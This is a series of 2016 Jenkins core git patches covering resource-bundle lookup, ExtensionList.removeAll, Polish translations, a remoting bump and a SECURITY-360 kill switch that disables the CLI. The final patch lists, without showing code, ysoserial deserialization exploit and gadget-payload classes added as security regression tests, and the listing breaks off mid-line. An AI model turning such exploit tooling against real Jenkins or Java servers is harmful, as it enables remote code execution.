import java.util.Map; import java.util.MissingResourceException; import java.util.ResourceBundle; import java.util.concurrent.ConcurrentHashMap; +import jenkins.model.Jenkins; /** * Simple {@link java.util.ResourceBundle} utility class. @@ -42,6 +46,7 @@ import java.util.concurrent.ConcurrentHashMap; @Restricted(NoExternalUse.class) public class ResourceBundleUtil { + private static final Logger logger = Logger.getLogger("jenkins.util.ResourceBundle"); private static final Map bundles = new ConcurrentHashMap<>(); private ResourceBundleUtil() { @@ -72,7 +77,23 @@ public class ResourceBundleUtil { return bundleJSON; } - ResourceBundle bundle = ResourceBundle.getBundle(baseName, locale); + ResourceBundle bundle = getBundle(baseName, locale, Jenkins.class.getClassLoader()); + if (bundle == null) { + // Not in Jenkins core. Check the plugins. + Jenkins jenkins = Jenkins.getInstance(); // will never return null + if (jenkins != null) { + for (PluginWrapper plugin : jenkins.getPluginManager().getPlugins()) { + bundle = getBundle(baseName, locale, plugin.classLoader); + if (bundle != null) { + break; + } + } + } + } + if (bundle == null) { + throw new MissingResourceException("Can't find bundle for base name " + + baseName + ", locale " + locale, baseName + "_" + locale, ""); + } bundleJSON = toJSONObject(bundle); bundles.put(bundleKey, bundleJSON); @@ -80,6 +101,30 @@ public class ResourceBundleUtil { return bundleJSON; } + /** + * Get a plugin bundle using the supplied Locale and classLoader + * + * @param baseName The bundle base name. + * @param locale The Locale. + * @param classLoader The classLoader + * @return The bundle JSON. + */ + private static @CheckForNull ResourceBundle getBundle(@Nonnull String baseName, @Nonnull Locale locale, @Nonnull ClassLoader classLoader) { + try { + return ResourceBundle.getBundle(baseName, locale, classLoader); + } catch (MissingResourceException e) { + // fall through and return null. + logger.warning(e.getMessage()); + } + return null; + } + + /** + * Create a JSON representation of a resource bundle + * + * @param bundle The resource bundle. + * @return The bundle JSON. + */ private static JSONObject toJSONObject(@Nonnull ResourceBundle bundle) { JSONObject json = new JSONObject(); for (String key : bundle.keySet()) { diff --git a/test/src/test/java/jenkins/I18nTest.java b/test/src/test/java/jenkins/I18nTest.java index a934422532..5f2da8e793 100644 --- a/test/src/test/java/jenkins/I18nTest.java +++ b/test/src/test/java/jenkins/I18nTest.java @@ -23,6 +23,7 @@ */ package jenkins; +import com.gargoylesoftware.htmlunit.FailingHttpStatusCodeException; import net.sf.json.JSONObject; import org.junit.Assert; import org.junit.Rule; @@ -31,6 +32,7 @@ import org.jvnet.hudson.test.JenkinsRule; import org.xml.sax.SAXException; import java.io.IOException; +import org.jvnet.hudson.test.Issue; /** * @author tom.fennelly@gmail.com @@ -49,9 +51,22 @@ public class I18nTest { @Test public void test_baseName_unknown() throws IOException, SAXException { - JSONObject response = jenkinsRule.getJSON("i18n/resourceBundle?baseName=com.acme.XyzWhatever").getJSONObject(); - Assert.assertEquals("error", response.getString("status")); - Assert.assertTrue(response.getString("message").contains("com.acme.XyzWhatever")); + try { + JSONObject response = jenkinsRule.getJSON("i18n/resourceBundle?baseName=com.acme.XyzWhatever").getJSONObject(); + } catch (FailingHttpStatusCodeException e) { + Assert.assertNotNull(e); + Assert.assertTrue(e.getMessage().contains("com.acme.XyzWhatever")); + } + } + + @Issue("JENKINS-35270") + @Test + public void test_baseName_plugin() throws IOException, SAXException { + // ssh-slaves plugin is installed by default + JSONObject response = jenkinsRule.getJSON("i18n/resourceBundle?baseName=hudson.plugins.sshslaves.Messages").getJSONObject(); + Assert.assertEquals("ok", response.getString("status")); + JSONObject data = response.getJSONObject("data"); + Assert.assertEquals("The launch timeout must be a number.", data.getString("SSHConnector.LaunchTimeoutMustBeANumber")); } @Test -- GitLab From e0bfe6ee79b516f6c496a035d2ed6e644ee92fa9 Mon Sep 17 00:00:00 2001 From: Oleg Nenashev Date: Wed, 9 Nov 2016 00:25:50 +0100 Subject: [PATCH 484/811] [FIXED JENKINS-39604] - ResourceBundleUtil#getBundle() should report resource misses on the low level I propose the FINER level. (cherry picked from commit 500cefddbca6135cbeab922b9998070f2db5daa5) --- core/src/main/java/jenkins/util/ResourceBundleUtil.java | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/core/src/main/java/jenkins/util/ResourceBundleUtil.java b/core/src/main/java/jenkins/util/ResourceBundleUtil.java index edf8de5fab..b2eee336ab 100644 --- a/core/src/main/java/jenkins/util/ResourceBundleUtil.java +++ b/core/src/main/java/jenkins/util/ResourceBundleUtil.java @@ -114,7 +114,7 @@ public class ResourceBundleUtil { return ResourceBundle.getBundle(baseName, locale, classLoader); } catch (MissingResourceException e) { // fall through and return null. - logger.warning(e.getMessage()); + logger.finer(e.getMessage()); } return null; } -- GitLab From 8533fb628c2bfcda14b0ec7466ada87c95e08c45 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Oliver=20Gond=C5=BEa?= Date: Thu, 10 Nov 2016 11:55:17 +0100 Subject: [PATCH 485/811] Skip irrelevant test --- test/src/test/java/jenkins/model/JenkinsTest.java | 2 ++ 1 file changed, 2 insertions(+) diff --git a/test/src/test/java/jenkins/model/JenkinsTest.java b/test/src/test/java/jenkins/model/JenkinsTest.java index 8e88f7f0e3..e20d7f9a48 100644 --- a/test/src/test/java/jenkins/model/JenkinsTest.java +++ b/test/src/test/java/jenkins/model/JenkinsTest.java @@ -64,6 +64,7 @@ import hudson.slaves.DumbSlave; import hudson.slaves.OfflineCause; import hudson.util.FormValidation; +import org.junit.Ignore; import org.junit.Rule; import org.junit.Test; import org.jvnet.hudson.test.Issue; @@ -532,6 +533,7 @@ public class JenkinsTest { @Test @Issue("JENKINS-39465") + @Ignore("No JNLP4 for 2.19.3") public void agentProtocols_multipleEnable_roundtrip() throws Exception { final Set defaultProtocols = Collections.unmodifiableSet(j.jenkins.getAgentProtocols()); Assume.assumeThat("We assume that JNLP3-connect is disabled", -- GitLab From e6db919e5f70bb598de3235cbca00ef0a79302e9 Mon Sep 17 00:00:00 2001 From: Jesse Glick Date: Thu, 10 Nov 2016 14:00:18 -0500 Subject: [PATCH 486/811] [JENKINS-39520] ExtensionList.removeAll is unimplemented (#2612) * Work around SUREFIRE-1226 just like https://github.com/jenkinsci/plugin-pom/pull/33. * [JENKINS-39520] Implement ExtensionList.removeAll. * @oleg-nenashev suggests not notifying listeners unless we are actually removing something. --- core/src/main/java/hudson/ExtensionList.java | 15 +++++++++++++++ test/pom.xml | 1 + test/src/test/java/hudson/ExtensionListTest.java | 13 +++++++++++++ 3 files changed, 29 insertions(+) diff --git a/core/src/main/java/hudson/ExtensionList.java b/core/src/main/java/hudson/ExtensionList.java index 8cf98253dc..f2fcab81d4 100644 --- a/core/src/main/java/hudson/ExtensionList.java +++ b/core/src/main/java/hudson/ExtensionList.java @@ -204,6 +204,21 @@ public class ExtensionList extends AbstractList implements OnMaster { } } + @Override + public boolean removeAll(Collection c) { + boolean removed = false; + try { + for (Object o : c) { + removed |= removeSync(o); + } + return removed; + } finally { + if (extensions != null && removed) { + fireOnChangeListeners(); + } + } + } + private synchronized boolean removeSync(Object o) { boolean removed = removeComponent(legacyInstances, o); if(extensions!=null) { diff --git a/test/pom.xml b/test/pom.xml index 32af02cabb..f5e72fd4f2 100644 --- a/test/pom.xml +++ b/test/pom.xml @@ -40,6 +40,7 @@ THE SOFTWARE. 2 false + false diff --git a/test/src/test/java/hudson/ExtensionListTest.java b/test/src/test/java/hudson/ExtensionListTest.java index 398b7502ad..459e4b843f 100644 --- a/test/src/test/java/hudson/ExtensionListTest.java +++ b/test/src/test/java/hudson/ExtensionListTest.java @@ -10,12 +10,14 @@ import jenkins.model.Jenkins; import hudson.model.Descriptor; import hudson.model.Describable; import hudson.util.DescriptorList; +import java.util.ArrayList; import java.util.List; import java.util.Collection; import org.junit.Rule; import org.junit.Test; +import org.jvnet.hudson.test.Issue; import org.jvnet.hudson.test.JenkinsRule; import org.jvnet.hudson.test.WithoutJenkins; @@ -204,4 +206,15 @@ public class ExtensionListTest { assertEquals("mazda",list.get(1).name); assertEquals("toyota",list.get(2).name); } + + @Issue("JENKINS-39520") + @Test + public void removeAll() { + ExtensionList list = ExtensionList.lookup(Animal.class); + assertTrue(list.removeAll(new ArrayList<>(list))); + assertEquals(0, list.size()); + assertFalse(list.removeAll(new ArrayList<>(list))); + assertEquals(0, list.size()); + } + } -- GitLab From 7a948d399585d201c4132597aed5723a495acf69 Mon Sep 17 00:00:00 2001 From: Oleg Nenashev Date: Thu, 10 Nov 2016 22:14:44 +0100 Subject: [PATCH 487/811] Update remoting to 2.31 in the Jenkins core. (#2628) The change introduces one serious bugfix (JENKINS-39596) and a bunch of various diagnostics improvements. Bugfixes: * [JENKINS-39596](https://issues.jenkins-ci.org/browse/JENKINS-39596) - Jenkins URL in `hudson.remoting.Engine` was always `null` since `3.0`. It was causing connection failures of Jenkins JNLP agents when using Java Web Start. ([PR #131](https://github.com/jenkinsci/remoting/pull/131)) * [JENKINS-39617](https://issues.jenkins-ci.org/browse/JENKINS-39617) - `hudson.remoting.Engine` was failing to establish connection if one of the URLs parameter in parameters was malformed. ([PR #131](https://github.com/jenkinsci/remoting/pull/131)) Improvements: * [JENKINS-39150](https://issues.jenkins-ci.org/browse/JENKINS-39150) - Add logic for dumping diagnostics across all the channels. ([PR #122](https://github.com/jenkinsci/remoting/pull/122), [PR #125](https://github.com/jenkinsci/remoting/pull/125)) * [JENKINS-39543](https://issues.jenkins-ci.org/browse/JENKINS-39543) - Improve the caller/callee correlation diagnostics in thread dumps. ([PR #119](https://github.com/jenkinsci/remoting/pull/119)) * [JENKINS-39290](https://issues.jenkins-ci.org/browse/JENKINS-39290) - Add the `org.jenkinsci.remoting.nio.NioChannelHub.disabled` flag for disabling NIO (mostly for debugging purposes). ([PR #123](https://github.com/jenkinsci/remoting/pull/123)) * [JENKINS-38692](https://issues.jenkins-ci.org/browse/JENKINS-38692) - Add extra logging to help diagnosing `IOHub` Thread spikes. ([PR #116](https://github.com/jenkinsci/remoting/pull/116)) * [JENKINS-39289](https://issues.jenkins-ci.org/browse/JENKINS-39289) - When a proxy fails, report what caused the channel to go down. ([PR #128](https://github.com/jenkinsci/remoting/pull/128)) --- pom.xml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/pom.xml b/pom.xml index 52d7cbe5a9..6086a96fe4 100644 --- a/pom.xml +++ b/pom.xml @@ -180,7 +180,7 @@ THE SOFTWARE. org.jenkins-ci.main remoting - 3.0 + 3.1 -- GitLab From fec9c14b8d22e2fe0a0c33d587ca2557be62141d Mon Sep 17 00:00:00 2001 From: Damian Szczepanik Date: Fri, 11 Nov 2016 00:39:28 +0100 Subject: [PATCH 488/811] Polish translations --- .../hudson/scm/Messages_pl.properties | 24 ++++++++++++++ .../hudson/triggers/Messages_pl.properties | 32 +++++++++++++++++++ .../project/config-builders_pl.properties | 23 +++++++++++++ .../project/config-publishers2_pl.properties | 23 +++++++++++++ .../hudson/project/config-scm_pl.properties | 2 +- .../project/config-trigger_pl.properties | 22 +++++++++++++ 6 files changed, 125 insertions(+), 1 deletion(-) create mode 100644 core/src/main/resources/hudson/scm/Messages_pl.properties create mode 100644 core/src/main/resources/hudson/triggers/Messages_pl.properties create mode 100644 core/src/main/resources/lib/hudson/project/config-builders_pl.properties create mode 100644 core/src/main/resources/lib/hudson/project/config-publishers2_pl.properties create mode 100644 core/src/main/resources/lib/hudson/project/config-trigger_pl.properties diff --git a/core/src/main/resources/hudson/scm/Messages_pl.properties b/core/src/main/resources/hudson/scm/Messages_pl.properties new file mode 100644 index 0000000000..89b69764f0 --- /dev/null +++ b/core/src/main/resources/hudson/scm/Messages_pl.properties @@ -0,0 +1,24 @@ +# The MIT License +# +# Copyright (c) 2016, Damian Szczepanik +# +# Permission is hereby granted, free of charge, to any person obtaining a copy +# of this software and associated documentation files (the "Software"), to deal +# in the Software without restriction, including without limitation the rights +# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +# copies of the Software, and to permit persons to whom the Software is +# furnished to do so, subject to the following conditions: +# +# The above copyright notice and this permission notice shall be included in +# all copies or substantial portions of the Software. +# +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +# THE SOFTWARE. +NullSCM.DisplayName=Brak +SCM.Permissions.Title=Repozytorium kodu +SCM.TagPermission.Description=To uprawnienie pozwala u\u017Cytkownikom tworzy\u0107w repozytorium kodu etykiety dla danego budowania. diff --git a/core/src/main/resources/hudson/triggers/Messages_pl.properties b/core/src/main/resources/hudson/triggers/Messages_pl.properties new file mode 100644 index 0000000000..68191b91ca --- /dev/null +++ b/core/src/main/resources/hudson/triggers/Messages_pl.properties @@ -0,0 +1,32 @@ +# The MIT License +# +# Copyright (c) 2016, Damian Szczepanik +# +# Permission is hereby granted, free of charge, to any person obtaining a copy +# of this software and associated documentation files (the "Software"), to deal +# in the Software without restriction, including without limitation the rights +# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +# copies of the Software, and to permit persons to whom the Software is +# furnished to do so, subject to the following conditions: +# +# The above copyright notice and this permission notice shall be included in +# all copies or substantial portions of the Software. +# +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +# THE SOFTWARE. +SCMTrigger.DisplayName=Pobierz z repozytorium kodu +SCMTrigger.getDisplayName={0} Rejestr pobrania z repozytorium kodu +SCMTrigger.BuildAction.DisplayName=Rejestr pobrania z repozytorium kodu +SCMTrigger.SCMTriggerCause.ShortDescription=Uruchomione przez zmian\u0119 w repozytorium kodu +TimerTrigger.DisplayName=Buduj cyklicznie +TimerTrigger.MissingWhitespace=Wygl\u0105da, \u017Ce brakuje odst\u0119pu mi\u0119dzy * a *. +TimerTrigger.no_schedules_so_will_never_run=Brak harmonogramu, wi\u0119c nie zostanie nigdy uruchomiony +TimerTrigger.TimerTriggerCause.ShortDescription=Uruchomione przez zegar +TimerTrigger.would_last_have_run_at_would_next_run_at=Ostatnio uruchomione o {0}; kolejne uruchomienie o {1}. +Trigger.init=Inicjalizowanie zegara dla wyzwalaczy +SCMTrigger.AdministrativeMonitorImpl.DisplayName=Zbyt wiele w\u0105tk\u00F3w repozytorium kodu diff --git a/core/src/main/resources/lib/hudson/project/config-builders_pl.properties b/core/src/main/resources/lib/hudson/project/config-builders_pl.properties new file mode 100644 index 0000000000..2f4402e55b --- /dev/null +++ b/core/src/main/resources/lib/hudson/project/config-builders_pl.properties @@ -0,0 +1,23 @@ +# The MIT License +# +# Copyright (c) 2016, Damian Szczepanik +# +# Permission is hereby granted, free of charge, to any person obtaining a copy +# of this software and associated documentation files (the "Software"), to deal +# in the Software without restriction, including without limitation the rights +# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +# copies of the Software, and to permit persons to whom the Software is +# furnished to do so, subject to the following conditions: +# +# The above copyright notice and this permission notice shall be included in +# all copies or substantial portions of the Software. +# +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +# THE SOFTWARE. +Build=Budowanie +Add\ build\ step=Dodaj krok budowania diff --git a/core/src/main/resources/lib/hudson/project/config-publishers2_pl.properties b/core/src/main/resources/lib/hudson/project/config-publishers2_pl.properties new file mode 100644 index 0000000000..8023115a6b --- /dev/null +++ b/core/src/main/resources/lib/hudson/project/config-publishers2_pl.properties @@ -0,0 +1,23 @@ +# The MIT License +# +# Copyright (c) 2016, Damian Szczepanik +# +# Permission is hereby granted, free of charge, to any person obtaining a copy +# of this software and associated documentation files (the "Software"), to deal +# in the Software without restriction, including without limitation the rights +# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +# copies of the Software, and to permit persons to whom the Software is +# furnished to do so, subject to the following conditions: +# +# The above copyright notice and this permission notice shall be included in +# all copies or substantial portions of the Software. +# +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +# THE SOFTWARE. +Add\ post-build\ action=Dodaj akcje po budowaniu +Post-build\ Actions=Akcje po budowaniu diff --git a/core/src/main/resources/lib/hudson/project/config-scm_pl.properties b/core/src/main/resources/lib/hudson/project/config-scm_pl.properties index e0d39300b5..b8de9075d4 100644 --- a/core/src/main/resources/lib/hudson/project/config-scm_pl.properties +++ b/core/src/main/resources/lib/hudson/project/config-scm_pl.properties @@ -1,3 +1,3 @@ # This file is under the MIT License by authors -Source\ Code\ Management=Repozytorium kodu \u017Ar\u00F3d\u0142owego +Source\ Code\ Management=Repozytorium kodu diff --git a/core/src/main/resources/lib/hudson/project/config-trigger_pl.properties b/core/src/main/resources/lib/hudson/project/config-trigger_pl.properties new file mode 100644 index 0000000000..f1fcb581d4 --- /dev/null +++ b/core/src/main/resources/lib/hudson/project/config-trigger_pl.properties @@ -0,0 +1,22 @@ +# The MIT License +# +# Copyright (c) 2016, Damian Szczepanik +# +# Permission is hereby granted, free of charge, to any person obtaining a copy +# of this software and associated documentation files (the "Software"), to deal +# in the Software without restriction, including without limitation the rights +# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +# copies of the Software, and to permit persons to whom the Software is +# furnished to do so, subject to the following conditions: +# +# The above copyright notice and this permission notice shall be included in +# all copies or substantial portions of the Software. +# +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +# THE SOFTWARE. +Build\ Triggers=Wyzwalacze budowania -- GitLab From cfc9491e297687b2f721f3e6c60ede613cea13d3 Mon Sep 17 00:00:00 2001 From: Kohsuke Kawaguchi Date: Fri, 11 Nov 2016 12:42:46 -0800 Subject: [PATCH 489/811] Fixing this back to 2.53.3 as the baseline --- pom.xml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/pom.xml b/pom.xml index 9c5d559d77..e786af5edd 100644 --- a/pom.xml +++ b/pom.xml @@ -179,7 +179,7 @@ THE SOFTWARE. org.jenkins-ci.main remoting - 2.53.3-20160211.162333-3 + 2.53.3 -- GitLab From fde9c42fe05ac925a904b6c09a81d497d0e6ccea Mon Sep 17 00:00:00 2001 From: Kohsuke Kawaguchi Date: Fri, 11 Nov 2016 12:54:32 -0800 Subject: [PATCH 490/811] [SECURITY-360] introduce a system switch to kill CLI This basically is a convenient version of https://github.com/jenkinsci-cert/SECURITY-218. During the course of discussing how to fix SECURITY-360, it was agreed by the CERT team that we provide this switch. --- core/src/main/java/hudson/cli/CLIAction.java | 3 +- .../src/main/java/hudson/cli/CliProtocol.java | 2 +- .../main/java/hudson/cli/CliProtocol2.java | 2 +- core/src/main/java/jenkins/CLI.java | 17 +++++ test/src/test/java/jenkins/CLITest.java | 65 +++++++++++++++++++ 5 files changed, 85 insertions(+), 4 deletions(-) create mode 100644 core/src/main/java/jenkins/CLI.java create mode 100644 test/src/test/java/jenkins/CLITest.java diff --git a/core/src/main/java/hudson/cli/CLIAction.java b/core/src/main/java/hudson/cli/CLIAction.java index 50e5dad25b..e277979f2b 100644 --- a/core/src/main/java/hudson/cli/CLIAction.java +++ b/core/src/main/java/hudson/cli/CLIAction.java @@ -62,12 +62,11 @@ public class CLIAction implements UnprotectedRootAction, StaplerProxy { } public String getDisplayName() { - return "Jenkins CLI"; } public String getUrlName() { - return "cli"; + return jenkins.CLI.DISABLED ? null : "cli"; } public void doCommand(StaplerRequest req, StaplerResponse rsp) throws ServletException, IOException { diff --git a/core/src/main/java/hudson/cli/CliProtocol.java b/core/src/main/java/hudson/cli/CliProtocol.java index eecb4c5faf..89af3a0f21 100644 --- a/core/src/main/java/hudson/cli/CliProtocol.java +++ b/core/src/main/java/hudson/cli/CliProtocol.java @@ -32,7 +32,7 @@ public class CliProtocol extends AgentProtocol { @Override public String getName() { - return "CLI-connect"; + return jenkins.CLI.DISABLED ? null : "CLI-connect"; } @Override diff --git a/core/src/main/java/hudson/cli/CliProtocol2.java b/core/src/main/java/hudson/cli/CliProtocol2.java index 0f2757df78..7239f71516 100644 --- a/core/src/main/java/hudson/cli/CliProtocol2.java +++ b/core/src/main/java/hudson/cli/CliProtocol2.java @@ -24,7 +24,7 @@ import java.security.Signature; public class CliProtocol2 extends CliProtocol { @Override public String getName() { - return "CLI2-connect"; + return jenkins.CLI.DISABLED ? null : "CLI2-connect"; } @Override diff --git a/core/src/main/java/jenkins/CLI.java b/core/src/main/java/jenkins/CLI.java new file mode 100644 index 0000000000..970e59dc62 --- /dev/null +++ b/core/src/main/java/jenkins/CLI.java @@ -0,0 +1,17 @@ +package jenkins; + +import org.kohsuke.accmod.Restricted; +import org.kohsuke.accmod.restrictions.NoExternalUse; + +/** + * Kill switch to disable the entire Jenkins CLI system. + * + * Marked as no external use because the CLI subsystem is nearing EOL. + * + * @author Kohsuke Kawaguchi + */ +@Restricted(NoExternalUse.class) +public class CLI { + // non-final to allow setting from $JENKINS_HOME/init.groovy.d + public static boolean DISABLED = Boolean.getBoolean(CLI.class.getName()+".disabled"); +} diff --git a/test/src/test/java/jenkins/CLITest.java b/test/src/test/java/jenkins/CLITest.java new file mode 100644 index 0000000000..054d4df5a1 --- /dev/null +++ b/test/src/test/java/jenkins/CLITest.java @@ -0,0 +1,65 @@ +package jenkins; + +import hudson.cli.FullDuplexHttpStream; +import hudson.model.Computer; +import hudson.model.Failure; +import hudson.remoting.Channel; +import org.junit.Rule; +import org.junit.Test; +import org.jvnet.hudson.test.JenkinsRule; + +import java.io.FileNotFoundException; +import java.net.URL; + +import static org.junit.Assert.*; + +/** + * @author Kohsuke Kawaguchi + */ +public class CLITest { + @Rule + public JenkinsRule j = new JenkinsRule(); + + /** + * Checks if the kill switch works correctly + */ + @Test + public void killSwitch() throws Exception { + // this should succeed, as a control case + makeHttpCall(); + makeJnlpCall(); + + CLI.DISABLED = true; + try { + try { + makeHttpCall(); + fail("Should have been rejected"); + } catch (FileNotFoundException e) { + // attempt to make a call should fail + } + try { + makeJnlpCall(); + fail("Should have been rejected"); + } catch (Exception e) { + // attempt to make a call should fail + e.printStackTrace(); + + // the current expected failure mode is EOFException, though we don't really care how it fails + } + } finally { + CLI.DISABLED = false; + } + } + + private void makeHttpCall() throws Exception { + FullDuplexHttpStream con = new FullDuplexHttpStream(new URL(j.getURL(), "cli")); + Channel ch = new Channel("test connection", Computer.threadPoolForRemoting, con.getInputStream(), con.getOutputStream()); + ch.close(); + } + + private void makeJnlpCall() throws Exception { + int r = hudson.cli.CLI._main(new String[]{"-s",j.getURL().toString(), "version"}); + if (r!=0) + throw new Failure("CLI failed"); + } +} -- GitLab From 8395b78c83c8bb436430e2faa4a032fc9a714fcc Mon Sep 17 00:00:00 2001 From: Sam Van Oort Date: Fri, 11 Nov 2016 16:50:14 -0500 Subject: [PATCH 491/811] Mostly working ysoserial updates --- test/pom.xml | 5 + .../security218/ysoserial/Deserializer.java | 34 ++ .../ysoserial/GeneratePayload.java | 66 ++++ .../security218/ysoserial/Serializer.java | 30 ++ .../exploit/JRMPClassLoadingListener.java | 50 +++ .../ysoserial/exploit/JRMPClient.java | 141 ++++++++ .../ysoserial/exploit/JRMPListener.java | 316 ++++++++++++++++++ .../security218/ysoserial/exploit/JSF.java | 80 +++++ .../ysoserial/exploit/JenkinsCLI.java | 124 +++++++ .../ysoserial/exploit/JenkinsListener.java | 215 ++++++++++++ .../ysoserial/exploit/JenkinsReverse.java | 80 +++++ .../ysoserial/exploit/RMIRegistryExploit.java | 52 +++ .../ysoserial/payloads/BeanShell1.java | 51 +++ .../ysoserial/payloads/CommonsBeanutils1.java | 42 +++ .../payloads/CommonsCollections3.java | 66 ++++ .../payloads/CommonsCollections4.java | 62 ++++ .../payloads/CommonsCollections5.java | 87 +++++ .../payloads/CommonsCollections6.java | 107 ++++++ .../payloads/DynamicDependencies.java | 10 + .../ysoserial/payloads/FileUpload1.java | 112 +++++++ .../ysoserial/payloads/JRMPClient.java | 82 +++++ .../ysoserial/payloads/JRMPListener.java | 55 +++ .../security218/ysoserial/payloads/JSON1.java | 119 +++++++ .../ysoserial/payloads/JavassistWeld1.java | 79 +++++ .../ysoserial/payloads/Jdk7u21.java | 93 ++++++ .../ysoserial/payloads/Jython1.java | 106 ++++++ .../ysoserial/payloads/MozillaRhino1.java | 66 ++++ .../ysoserial/payloads/Myfaces1.java | 92 +++++ .../ysoserial/payloads/Myfaces2.java | 64 ++++ .../ysoserial/payloads/ObjectPayload.java | 98 +++++- .../payloads/ReleaseableObjectPayload.java | 11 + .../ysoserial/payloads/Spring2.java | 75 +++++ .../ysoserial/payloads/Wicket1.java | 111 ++++++ .../payloads/annotation/Dependencies.java | 24 ++ .../payloads/annotation/PayloadTest.java | 19 ++ .../ysoserial/payloads/util/ClassFiles.java | 44 +++ .../ysoserial/payloads/util/Gadgets.java | 156 +++++++++ .../ysoserial/payloads/util/JavaVersion.java | 36 ++ .../payloads/util/PayloadRunner.java | 44 +++ .../ysoserial/payloads/util/Reflections.java | 53 +++ .../secmgr/DelegateSecurityManager.java | 215 ++++++++++++ .../secmgr/ExecCheckingSecurityManager.java | 87 +++++ .../secmgr/ThreadLocalSecurityManager.java | 33 ++ 43 files changed, 3487 insertions(+), 5 deletions(-) create mode 100755 test/src/test/java/jenkins/security/security218/ysoserial/Deserializer.java create mode 100644 test/src/test/java/jenkins/security/security218/ysoserial/GeneratePayload.java create mode 100755 test/src/test/java/jenkins/security/security218/ysoserial/Serializer.java create mode 100644 test/src/test/java/jenkins/security/security218/ysoserial/exploit/JRMPClassLoadingListener.java create mode 100644 test/src/test/java/jenkins/security/security218/ysoserial/exploit/JRMPClient.java create mode 100644 test/src/test/java/jenkins/security/security218/ysoserial/exploit/JRMPListener.java create mode 100644 test/src/test/java/jenkins/security/security218/ysoserial/exploit/JSF.java create mode 100644 test/src/test/java/jenkins/security/security218/ysoserial/exploit/JenkinsCLI.java create mode 100644 test/src/test/java/jenkins/security/security218/ysoserial/exploit/JenkinsListener.java create mode 100644 test/src/test/java/jenkins/security/security218/ysoserial/exploit/JenkinsReverse.java create mode 100644 test/src/test/java/jenkins/security/security218/ysoserial/exploit/RMIRegistryExploit.java create mode 100644 test/src/test/java/jenkins/security/security218/ysoserial/payloads/BeanShell1.java create mode 100755 test/src/test/java/jenkins/security/security218/ysoserial/payloads/CommonsBeanutils1.java create mode 100755 test/src/test/java/jenkins/security/security218/ysoserial/payloads/CommonsCollections3.java create mode 100644 test/src/test/java/jenkins/security/security218/ysoserial/payloads/CommonsCollections4.java create mode 100644 test/src/test/java/jenkins/security/security218/ysoserial/payloads/CommonsCollections5.java create mode 100644 test/src/test/java/jenkins/security/security218/ysoserial/payloads/CommonsCollections6.java create mode 100644 test/src/test/java/jenkins/security/security218/ysoserial/payloads/DynamicDependencies.java create mode 100644 test/src/test/java/jenkins/security/security218/ysoserial/payloads/FileUpload1.java create mode 100644 test/src/test/java/jenkins/security/security218/ysoserial/payloads/JRMPClient.java create mode 100644 test/src/test/java/jenkins/security/security218/ysoserial/payloads/JRMPListener.java create mode 100644 test/src/test/java/jenkins/security/security218/ysoserial/payloads/JSON1.java create mode 100644 test/src/test/java/jenkins/security/security218/ysoserial/payloads/JavassistWeld1.java create mode 100755 test/src/test/java/jenkins/security/security218/ysoserial/payloads/Jdk7u21.java create mode 100644 test/src/test/java/jenkins/security/security218/ysoserial/payloads/Jython1.java create mode 100644 